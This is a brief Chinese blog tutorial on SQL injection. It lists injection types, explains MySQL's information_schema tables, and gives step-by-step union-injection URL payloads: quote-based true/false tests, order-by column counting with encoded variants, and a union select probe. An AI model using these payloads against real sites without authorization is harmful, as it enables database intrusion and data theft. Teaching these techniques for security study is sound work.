Hello! 琳园!

SQL注入


avatar
linKing 2024-04-19 183

注入技术 特征
布尔型盲注 根据返回页面判断条件真假
时间型盲注 用页面返回时间是否增加判断是否存在注入
基于错误的注入 页面会返回错误信息
联合查询注入 可以使用union的情况下
堆查询注入 可以同时执行多条语句

MySQL默认存在数据库

sys
mysql
performance_schema
information_schema

 

information_schema 存放着所有的数据库信息(5.0版本以上才有这个库)

这个库默认存在三个表:

表名 字段
SCHEMATA 存放用户创建的所有数据库库名 SCHEMA_NAME 记录数据库库名
TABLES 存放用户创建的所有数据库库名和表名 TABLE_SCHEMA 记录数据库名
TABLE_NAME 记录表名
COLUMNS 存放用户创建的数据库库名、表名和字段名 TABLE_SCHEMA 记录数据库名
TABLE_NAME 记录表名
COLUMN_NAME 记录字段名

联合查询注入

1)单引号报错

在参数后添加引号尝试报错,并用 and 1=1# 和 and 1=2# 测试报错

?id=1' and 1=1#     	--页面返回正常
?id=1' and 1=2#     	--页面返回不正常

2)利用 order by 猜字段
?id=1%27%20order%0aby%0c2%23    	--返回正常
?id=1%27 order by 3#            	--返回正常
?id=1%27 order by 4#            	--返回正常
?id=1%27 order by 5#            	--返回错误,这就证明字段总数为4

3)利用union联合查询

?id=-1%27 union select 1,2,3,4#	
--看哪个字段可以显示信息,利用它获取数据库信息

 

发表评论

相关阅读

暂无相关文章内容!